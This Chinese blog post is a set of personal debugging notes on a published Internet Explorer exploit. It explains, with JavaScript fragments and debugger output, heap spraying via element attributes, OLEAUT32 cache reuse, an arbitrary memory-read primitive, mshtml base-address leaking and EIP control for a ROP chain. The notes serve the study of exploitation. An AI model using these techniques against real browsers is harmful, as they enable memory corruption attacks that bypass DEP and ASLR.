读peter 文章调试笔记

本文是很早以前读peter的 A browser is only as strong as its weakest byte 这篇文章时记录的调试笔记 记得很乱,时间久了,也没来得及整理。。

之所以写这个,是感觉到这里面的利用技巧太强大了,用到的利用技术只能用”行云流水,来去自如形容“。


文章中用了属性喷射的方法,一个属性占0x10字节。

为了精确控制某一个地址addr ,以达到inc[addr]的效果,所以喷射过程采用了0x80000左右的地址,这里是0x7ffe0。这样就会使每个小堆块的地址落在0x??????20上。

        for(i = 0; i < 0x7ffe; i++) {

            a.setAttribute("attr" + i, null);

        }

        mem = new Array(400);

        // Step 2

        for(i = 0; i < mem.length; i++) {

          mem[i] = a.cloneNode(1);       

        }

 

上图是采用0x7ffe个内存属性,其实采用0x8000个内存属性占用堆的效果完全相同,如下图



上图是采用0x8000个内存属性,效果一样

 

为了布局要修改的字符串,每隔0x1000个属性,设置一个字符串属性,这样也是以0x??????20地址模式。

字符串内存块后,紧跟着body对象及其属性表,里面有虚函数表地址。这样修改了字符串地址,使其直接指向了body对象或者属性里某个虚函数表地址,这样就可以通过js读写该字符串地址了。

for(j = 0; j < mem.length; j++) {

          for(i = 0; i < 0x7ffe; i += 0x1000) {

            // Step 3.1

            mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

            // Step 3.2

            b = document.createElement('body');

            b.title = 'a';

            b.id = 'a';

            b.text = 'a'

            b.bgColor = 1

            b.topMargin = 1

            b.bottomMargin = 1

            b.leftMargin = 1

            b.rightMargin = 4

            b.setAttribute('ropchain', bodies.length)  // This will actualy give us the index of the body element we are leaking.

            bodies.push(b);

          }

        }

 

字符串属性

 

字符串后面紧接着一个body对象相关的

 

关于泄露:

首先下断在!mshtml + 00383d2f 即

68763d2f334738          xor     eax,dword ptr [edi+38h]ds:0023:030b8f08=0000000e 

 

然后观察一下edi附近内存

如上图,要inc的地址为[1200ff89+0xa0],而且要对这个地址加0x100,所以就-1,观察一下这个地址正好是字符串起始地址。(这种错位相加的技巧,在很多漏洞利用中用到,这样就可以将加1转换为加100,或者是置0操作转换为置任意后几位为0)

 

Inc 操作之后,字符串属性中的字符串地址增加了0x100,直接越过了字符串指向了后面的对象和属性了。+0x8处是一个地址,相对于mshtml基地址偏移固定。

 

if you make anallocation of (almost) 0×80000 the underlying memory manager will align this tostart at a new page. The 0020 is the size of the heap header. If you aretesting this with a debugger make sure you disable the debugheap ( -hd flag forwindbg commandline) otherwise the header will be 0×30 in size. 

----A browser isonly as strong as its weakest byte Part2

 

注意1:

分配大约0x80000左右的堆块时候,一般的起始地址为0x??????20      可能是为了对齐到一个页

0x20是heap header 。 调试的时候,如果没有加调试选项 -hd  header则会有0x30大小

注意2:

布局时,字符串属性中字符串长度为0x8a,加上头部4个字节的长度,和末尾两个自己的null分隔符,共0x90,和属性表大小一致,正好能连续分配。 

关于进一步地址泄露,即任意地址读:

在将字符串地址+0x100之后,即inc [address+0xa0]后,作者又重新设置了一个字符串属性:

mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

 按作者的说法,重新设置属性后,会释放原来的内存块,而且重新分配一块内存。

但是由于此时,字符串指针已经被我们修改了,指向到了其它的地方,所以释放内存可能会出现问题。

Well, when you set an attribute that already exists mshtml will simply delete the existing value and then set a new value (actually, it will first add the new value and then delete the old one I believe). So we and up calling ntdll!RtlFreeHeap with an address that is not an actual heap allocation, it is an allocation but not the start of an allocation and thus it fails to free the address

 作者提出了两种方法,作者用到一种,其思路是让释放的内存进入缓存中。(这里有个前置知识,用在属性中的字符串,使用OLEAUT32!SysAllocString分配内存,OLEAUT32内部实现了内部的缓存机制)。有几个步骤:

1.     用 .coords 创建一个Fake Header

2.     清空OLEAUT32的缓存  Sotirov’s ‘plunger’ technique,可以参考其文章

3.     释放掉字符串。

4.     使用一些xxx替换area.coords,以达到部分覆盖效果。

5.     以相同的size分配字符串,使缓存中的这部分内存被重用。  

bodies[bodyindex].setAttribute('beGone', 1);

这句增加了一个属性,导致释放了原来的内存,原内存占用0x90大小,重新分配一块0xD0大小的内存。


061609fc所在的内存块已经被释放掉,如上面两图所示


0037cc40为重新分配的内存块的起始地址,大小为0xd0。这个地址在分配的0xd中的倒数第二个。

0033e0e0为创建的A对象。 

之后用如下代码,占位刚才释放的0x90内存大小

              FakeLFH = document.createElement('area'); // to replace the now freed 0x90

              FakeLFH.shape = "poly"

              // Values set to contain a 'correct' LFH header at the right location

              FakeLFH.coords = "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,84738048,26,27,28,29,30,31,32,33,34";

for(k = 0; k < NumCached; k++) {//消耗一些缓存  使from 65 to 265 bytes的缓存被消耗                FakeLFH.setAttribute("cache" + k, new Array(0x40/2).join("A"));

              }

 消耗掉 blocks from 65 to 265 bytes的缓存,确保后面释放的attr 的内存可以分配到cache中  具体可以看heap fengshui这篇文章

 

              //Freeing this will add the misaligned address to the OLEAUT32 cache, but the address is still marked as busy in the heap manager  将字符串属性指向的内存释放到缓存中

              mem[j].setAttribute("attr" + i, null)

 

 中间插一段Oleaut32堆的管理:

Oleaut32实现了一个堆的管理结构

对于0x20大小的内存块:

结构:

{

Dword    length

 PDWORD Ptr

Dword    length

 PDWORD Ptr

Dword    length

 PDWORD Ptr

 ……  一共有6个这个结构

}

Length为这个内存块大小

Ptr为指向这个内存块的指针

当分配之后,会将length置为0 (这里面将整块都分配出去了,有剩余的没关系。。)

OLEAUT32!APP_DATA::AllocCachedMem 将分配的内存块返回到eax中

首先会确定大的范围,然后再判断 length的值和内存长度大小

每次内存分配时,都先判断cache中,各个内存块的长度,如果大于需要的大小,则分配。

 

OLEAUT32!SysAllocStringLen(ptr,length )

Ptr 指向字符串的内容

Length 为字符串长度

 

首先调用OLEAUT32!CbSysStringSize 通过length计算实际需要分配的内存,

会调用OLEAUT32!APP_DATA::AllocCachedMem分配内存(如果cache满足,则直接从cache中拿,如果cache不满足,则再分配)

然后将字符串数据拷贝到分配的内存上来

 

经过上面的分配,确实会将cache中from 65 to 265 bytes的内存块消耗掉


可以看到,上图中,已经不存在41到100的块了,长度都被置为0了,说明cache中这类内存块已经被分配了。

   

接下来,执行这个之后

// This will make the 0x90 allocation available again   //完全释放掉属性表

              FakeLFH.coords = null;

                           alert("This will make the 0x90 allocation available again");

 


//now we occupy a 0x90 sized allocation.   //加了两个属性,这样就会将新的对象的属性表占用的内存扩充到0x90大小,因此就会重新分配到刚才释放的内存上来

              AlteredBody.leftMargin = 2;

              AlteredBody.setAttribute('extra', 1);

                           alert("now we occupy a 0x90 sized allocation.");

 后面会重新分配内存  到第一次改写字符串指向的地方。

 因为mem[j].setAttribute("attr" + i, null) 释放内存了,此时释放的地址其实已经在属性表之内了。按照文章的说法,这只是加入OLEAUT32的缓存了。而属性表的释放和分配又和上面的没关系。因此这里出现一个问题,相当于一块地址可以有两个方面进行操作。造成这些的根源,就是inc[address+0xA0]的效果。

 

上面图所示,mem[j].setAttribute("attr" + i, null) 使被释放的字符串内存块加入到了oleaut32的缓存中。 0x000cab98为cache的列表。

(注:由于重新调试,堆的地址和上面的图对应不上了)

oleaut32!SysFreeString 和OLEAUT32!APP_DATA::FreeCachedMem中观察上面的加入到cache过程。

 经过下面的的操作,又重新将cache中的内存块重新拿出来,并赋值为newdata中的数据。

// create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.

              for(k = 0; k < NumCached; k++) {

                FakeLFH.setAttribute("re-use" + k, newdata);

                                  alert("create a few strings containing the correct data. The 2nd one will actually overwrite the attribute data. Has to do with the way we create our strings.");

              }


可以看到,从cache分配内存块,并将newdata中的数据,写入了该内存中,即属性列表内。。

 绕了一大圈,终于把newdata放在了适当的位置上,为了通过属性能检索

      function readWord(a, f, addr) {

       //Variant type 0x12 with 0x4000 being 'ByRef'

       a.coords = 0x00014012 + "," + 1 + "," + addr +"," + 1;      

       return parseInt(f.getAttribute('extra'));  //这样可以读取addr地址的内容

     }

 

下面图中的地址和上面又无法对应了。

发现VariantAnchorAddressStr即 003623a8存储coords

此时为 00014012 00000001 77700000 00000001

通过 getattribute 可以读取0x77700000内容

 作者选择这么搞,通过 ‘A’ element 就是因为可以利用里面的coords,改变其中的内容,这样就不用修改属性表,以致于进行各种内存分配释放操作了。

So what we’ll do is overwrite the attribute table with data that sets one of its attribute to be of type 0xC, this is a VariantType, and add a pointer to memory that we control. Once we have done that we no longer need to alter the original Attribute Array but we can just alter the memory the Variant points to and set this to whatever we want.

So we’re looking for a piece of memory of roughly 0×10 bytes (thats how much we need to store a Variant Variant), that we can manipulate without additional memory allocations and frees. There are many answers to this question, but the one I’ll be using is an AnchorElement (‘<A>’). Just like the area element this element has a property ‘coords’, but it only takes 4 values and stores them inside the object data. If we alter the coords value of an AnchorElement no additional allocations and or frees will happen and 4 coord values take up 0×10 bytes so that fits perfectly.

 之后就实现了从mshtml中某一地址开始,循环读取字符串,直到找到MZ,来确定mshtml的加载基地址。

 


之后控制程序的流程,用了VariantType0x09,在读取属性时,会调用ExtractValueProperty函数,然后里面有个虚函数调用,和属性值相关。

              VariantAnchor.coords = 0x00010009 + "," + 1 + "," + roploc + "," + 1;

              AlteredBody.getAttribute('extra')();

 在OLEAUT32!ExtractValueProperty下断点

 022061C8为 a.coord 的地址

[03C74E18]=03C74E04 为虚函数表地址,这样就控制了EIP了

 后面的思路:

布置03C74E18的内存时候,为了能准确定位地址

1.    用了html5中的canvas对象

2.    为了能准确定位里面的数据,将img作为了VariantAnchor的属性,这样在知道VariantAnchor地址的情况下,可以定位img中数据的地址。

ctx = document.createElement('canvas').getContext('2d');

              img = ctx.createImageData(0x100, 1); //that should be enough for now

              VariantAnchor.setAttribute('ropchain', img)

 

              //grab the location of the image data from the VariantAnchor Attribute table. (((VariantAnchor+10)+8)+28)+2C)

              roploc = readDword(VariantAnchor, AlteredBody, VariantAnchorAddress + 0x10)

              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x8)

              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x28)

              roploc = readDword(VariantAnchor, AlteredBody, roploc + 0x2C)

 

3.    然后将这个地址其写入到VariantAnchor.coords的位置。

  

感觉peter用这个漏洞,把内存操作的来去自如,就感觉用C直接读内存一样,DEP ASLR也就随便过了。

太乱了,自己都不能忍了,又懒得改。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值